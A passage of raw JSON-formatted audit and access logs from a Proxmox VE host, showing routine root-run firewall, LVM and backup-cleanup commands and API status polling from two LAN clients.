ppid=1156 pid=63454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964896702,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965795846,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.846:67135): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964175207,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.207:59915): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965806053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.053:67183): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1401e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.906:66065): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964896702,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965795838,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.838:67134): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964175201,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.201:59914): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965806047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.047:67182): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e08c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.900:66064): arch=c000003e syscall=59 success=yes exit=0 a0=5d76d0a26b20 a1=5d76d0a32e40 a2=5d76d0a00680 a3=5 items=2 ppid=63446 pid=63452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964895681,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965795833,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.833:67133): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964175194,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.194:59913): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965806040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.040:67181): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0fce10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64524 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545897,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.897:66063): arch=c000003e syscall=59 success=yes exit=0 a0=5d76cb041ac8 a1=7ffcdbcda7c0 a2=5d76d0a00680 a3=5d76cb02524e items=2 ppid=63446 pid=63448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964894689,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 838"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.828:67132): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175188,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.188:59911): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965806033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.033:67180): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f7f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.896:66062): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcdbcda780 a1=5d76d0a221c0 a2=5d76d0a00680 a3=5 items=2 ppid=63446 pid=63447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964893682,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:52 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965795828,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.828:67131): argc=1 a0=\"date\""} {"@timestamp":1781964175183,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.183:59910): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965806026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.026:67179): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fce10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545891,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.891:66060): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964893682,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:52 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965795823,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.823:67129): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964175178,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.178:59909): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965806020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.020:67178): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eca10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545879,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.879:66059): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964892924,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965795816,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.816:67128): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964175173,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.173:59908): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965806012,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.012:67177): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545871,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.871:66058): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964891670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965795807,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.807:67127): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964175167,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.167:59907): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965806004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.004:67176): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.864:66057): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae4a10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63443 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964890664,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:49 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965795802,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.802:67126): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964175162,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.162:59906): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965806000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965806.000:67175): arch=c000003e syscall=59 success=yes exit=0 a0=60f73a4a4d30 a1=60f73a4b0af0 a2=60f73a47e680 a3=5 items=2 ppid=64512 pid=64518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.849:66056): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f1190 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63442 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964890664,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:49 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965795791,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.791:67125): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964175155,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.155:59905): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965805997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.997:67174): arch=c000003e syscall=59 success=yes exit=0 a0=60f72ea06ac8 a1=7ffdb9d593d0 a2=60f73a47e680 a3=60f72e9ea24e items=2 ppid=64512 pid=64514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965545837,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965545.837:66055): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d8f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63441 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964888664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965795781,"@rawstring":"node=pve type=EXECVE msg=audit(1781965795.781:67124): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964175148,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.148:59904): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965805996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.996:67173): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdb9d59390 a1=60f73a4a03d0 a2=60f73a47e680 a3=5 items=2 ppid=64512 pid=64513 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965544.748:66054): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5936020 a1=64f8d7410a20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63440 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964888664,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 838"} {"@timestamp":1781965794339,"@rawstring":"node=pve type=EXECVE msg=audit(1781965794.339:67123): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175145,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.145:59903): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965805990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.990:67171): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64512 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965544718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965544.718:66053): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1ecbc10 a1=64f8d73b8320 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63439 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964887554,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:46 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1092"} {"@timestamp":1781965794324,"@rawstring":"node=pve type=EXECVE msg=audit(1781965794.324:67120): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175142,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.142:59902): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965805983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.983:67170): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64511 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543402,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965543.402:66052): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63436 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964887554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965794309,"@rawstring":"node=pve type=EXECVE msg=audit(1781965794.309:67117): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964175140,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.140:59901): argc=1 a0=\"date\""} {"@timestamp":1781965805976,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.976:67169): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64510 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965543395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965543.395:66049): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63435 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964887554,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965794274,"@rawstring":"node=pve type=EXECVE msg=audit(1781965794.274:67116): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964175135,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.135:59899): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965805969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.969:67168): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb82ddca0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64509 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540548,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965540.548:66046): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253810 a1=637ee7252a00 a2=637ee7240ef0 a3=8 items=2 ppid=63431 pid=63433 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964884620,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781965789306,"@rawstring":"node=pve type=EXECVE msg=audit(1781965789.306:67115): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175130,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.130:59898): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965805958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.958:67167): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f8ba0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64508 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965540.546:66045): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253520 a1=637ee7252690 a2=637ee7240ef0 a3=8 items=2 ppid=63431 pid=63432 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781964884620,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965789298,"@rawstring":"node=pve type=EXECVE msg=audit(1781965789.298:67112): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964175124,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.124:59897): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965805949,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965805.949:67166): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fe820 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64507 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965540544,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965540.544:66044): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c20 a1=637ee7253290 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=63430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964883606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:14:43 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965786724,"@rawstring":"node=pve type=EXECVE msg=audit(1781965786.724:67109): argc=3 a0=\"rm\" a1=\"-f\" a2=\"vzdump-qemu-877-2026_06_20-15_17_31.vma.zst\""} {"@timestamp":1781964175118,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.118:59896): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965804451,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.451:67165): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73bbd20 a1=64f8d74097b0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64504 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965538.385:66043): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964883606,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965785768,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.768:67108): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964175112,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.112:59895): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965804423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965804.423:67164): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0510 a1=64f8d73b6870 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64503 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965538374,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965538.374:66040): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63428 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964881698,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:14:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 853"} {"@timestamp":1781965785765,"@rawstring":"node=pve type=EXECVE msg=audit(1781965785.765:67107): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964175105,"@rawstring":"node=pve type=EXECVE msg=audit(1781964175.105:59894): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" 